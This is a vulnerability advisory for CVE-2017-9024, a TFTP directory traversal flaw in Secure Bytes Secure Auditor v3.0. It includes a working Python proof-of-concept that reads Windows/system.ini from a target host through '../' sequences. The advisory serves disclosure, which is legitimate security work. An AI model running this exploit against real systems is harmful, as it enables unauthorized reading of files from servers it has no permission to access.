[+] Credits: John Page aka HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec
Vendor:
====================
www.secure-bytes.com
Product:
=====================
Secure Auditor - v3.0
Secure Auditor suite is a unified digital risk management solution for
conducting automated audits on Windows, Oracle and SQL databases
and Cisco devices.
Vulnerability Type:
===================
Directory Traversal
CVE Reference:
==============
CVE-2017-9024
Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure
Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read
arbitrary files via ../ sequences in a pathname.
Exploit/POC:
=============
import sys,socket
print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'
HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini'
PORT = 69
PAYLOAD = "\x00\x01" #TFTP Read
PAYLOAD += FILE+"\x00" #Read system.ini using directory traversal
PAYLOAD += "netascii\x00" #TFTP Type
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()
print "Victim Data located on : %s " %(HOST)
print out.strip()
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided
that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
